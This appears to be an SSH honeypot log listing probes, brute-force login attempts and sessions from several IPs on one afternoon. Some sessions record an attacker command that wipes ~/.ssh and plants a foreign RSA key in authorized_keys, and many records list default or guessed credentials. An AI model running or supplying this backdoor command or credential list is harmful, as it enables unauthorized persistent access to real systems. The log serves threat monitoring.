Adversarial Observation Interface

120.87.99.202

2026-07-28 16:05:25.904089 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 11b7eabebac5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "11b7eabebac5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:25.904089Z",
  "end_time": "2026-07-28T16:05:28.047293Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 16:05:23.507250 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / aa123456aa

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: dd4c0dd735e7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "dd4c0dd735e7",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:05:23.507250Z",
  "end_time": "2026-07-28T16:05:29.288443Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "aa123456aa"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

120.87.99.202

2026-07-28 16:03:28.270457 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c6f00d8d0ba4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "c6f00d8d0ba4",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:03:28.270457Z",
  "end_time": "2026-07-28T16:05:28.274828Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

85.217.149.20

2026-07-28 16:02:38.238032 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04e0d07f59a7

Client Version: \xee\xea\x9b2\xca#6Kv8\xf3ǋ\xc2\xcb\xf6\xebk\x92

Engagement Duration: 0.0s

{
  "id": "04e0d07f59a7",
  "src_ip": "85.217.149.20",
  "start_time": "2026-07-28T16:02:38.238032Z",
  "end_time": "2026-07-28T16:02:38.243826Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\x9b2\\xca#6Kv8\\xf3\u0001\u0004\u01cb\\xc2\\xcb\\xf6\\xebk\\x92",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.87.99.202

2026-07-28 16:01:31.204116 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1d91efa06bfd

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "1d91efa06bfd",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T16:01:31.204116Z",
  "end_time": "2026-07-28T16:03:31.211915Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:59:29.877360 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3932875949d5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "3932875949d5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:59:29.877360Z",
  "end_time": "2026-07-28T16:01:29.946173Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:58:25.593261 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 0f4be54f1434

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "0f4be54f1434",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:58:25.593261Z",
  "end_time": "2026-07-28T15:58:26.762465Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-07-28 15:58:06.850278 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: ambria

Record ID: d8d573d279ef

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "d8d573d279ef",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-28T15:58:06.850278Z",
  "end_time": "2026-07-28T15:58:13.432854Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "ambria",
      "pass": "ambria"
    },
    {
      "user": "ambria",
      "pass": "ambria1"
    },
    {
      "user": "ambria",
      "pass": "ambria123"
    },
    {
      "user": "ambria",
      "pass": "ambria1234"
    },
    {
      "user": "ambria",
      "pass": "ambria12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:57:32.724996 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c86f93ab44ff

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "c86f93ab44ff",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:57:32.724996Z",
  "end_time": "2026-07-28T15:59:32.732720Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:56:12.453267 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 65093358abb9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "65093358abb9",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:12.453267Z",
  "end_time": "2026-07-28T15:56:13.601765Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:56:10.085954 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: fdeac64019b5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "fdeac64019b5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:10.085954Z",
  "end_time": "2026-07-28T15:56:12.276945Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:56:03.604524 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 258369

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6c200526e3a6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 10.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6c200526e3a6",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:56:03.604524Z",
  "end_time": "2026-07-28T15:56:13.598989Z",
  "duration": "10.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "258369"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

120.87.99.202

2026-07-28 15:54:08.307185 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9837683b3ed2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9837683b3ed2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:54:08.307185Z",
  "end_time": "2026-07-28T15:56:08.311799Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:52:11.068153 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 36f9d8d8d2e1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "36f9d8d8d2e1",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:52:11.068153Z",
  "end_time": "2026-07-28T15:54:11.075528Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:50:14.669280 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7d4b43915cab

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7d4b43915cab",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:50:14.669280Z",
  "end_time": "2026-07-28T15:52:14.677245Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:48:20.778798 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a1c36d9507f5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a1c36d9507f5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:48:20.778798Z",
  "end_time": "2026-07-28T15:50:20.790091Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:46:55.377256 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: botuser

Record ID: d85f7a0fb473

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d85f7a0fb473",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:46:55.377256Z",
  "end_time": "2026-07-28T15:46:57.618695Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "botuser",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:45:04.619834 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8712f18e9b3c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "8712f18e9b3c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:45:04.619834Z",
  "end_time": "2026-07-28T15:47:04.630383Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:43:06.370220 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 117fd474c9af

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "117fd474c9af",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:43:06.370220Z",
  "end_time": "2026-07-28T15:45:06.375651Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:42:42.234622 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: abdb4c986807

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "abdb4c986807",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:42:42.234622Z",
  "end_time": "2026-07-28T15:42:43.396829Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:41:10.183965 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlabuser

Record ID: b6b40393b29a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b6b40393b29a",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:41:10.183965Z",
  "end_time": "2026-07-28T15:41:13.427035Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "gitlabuser",
      "pass": "gitlabuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:39:09.588658 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 00ec20b5a7a0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "00ec20b5a7a0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:39:09.588658Z",
  "end_time": "2026-07-28T15:41:09.641157Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

170.64.167.72

2026-07-28 15:38:21.680613 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 338a504de5c7

Client Version: SSH-2.0-OPENSSH_7.9

Engagement Duration: 0.6s

HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20

{
  "id": "338a504de5c7",
  "src_ip": "170.64.167.72",
  "start_time": "2026-07-28T15:38:21.680613Z",
  "end_time": "2026-07-28T15:38:22.322829Z",
  "duration": "0.6",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.87.99.202

2026-07-28 15:37:12.147854 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1dc259ed0f11

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1dc259ed0f11",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:37:12.147854Z",
  "end_time": "2026-07-28T15:39:12.154796Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

8.134.159.4

2026-07-28 15:37:03.467420 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0aa671620d2a

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0aa671620d2a",
  "src_ip": "8.134.159.4",
  "start_time": "2026-07-28T15:37:03.467420Z",
  "end_time": "2026-07-28T15:37:04.694098Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

8.134.159.4

2026-07-28 15:37:00.032968 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 022712208e70

Client Version: Unknown

Engagement Duration: 3.2s

{
  "id": "022712208e70",
  "src_ip": "8.134.159.4",
  "start_time": "2026-07-28T15:37:00.032968Z",
  "end_time": "2026-07-28T15:37:03.282826Z",
  "duration": "3.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-07-28 15:36:04.780285 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / afrodita

Record ID: 98c8ca055be6

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "98c8ca055be6",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-28T15:36:04.780285Z",
  "end_time": "2026-07-28T15:36:10.821527Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "afrodita"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:35:12.169340 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 85f334990bc7

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "85f334990bc7",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:35:12.169340Z",
  "end_time": "2026-07-28T15:37:12.174172Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:33:17.227696 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mpi

Record ID: 64bdb7e6acac

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "64bdb7e6acac",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:33:17.227696Z",
  "end_time": "2026-07-28T15:33:20.611842Z",
  "duration": "3.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mpi",
      "pass": "mpi"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:32:00.218991 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 55b409533b88

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "55b409533b88",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:32:00.218991Z",
  "end_time": "2026-07-28T15:32:01.593677Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:31:57.731177 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 62aaa2f55fb6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "62aaa2f55fb6",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:31:57.731177Z",
  "end_time": "2026-07-28T15:31:59.991441Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:31:50.008445 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / bhu8*UHB

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

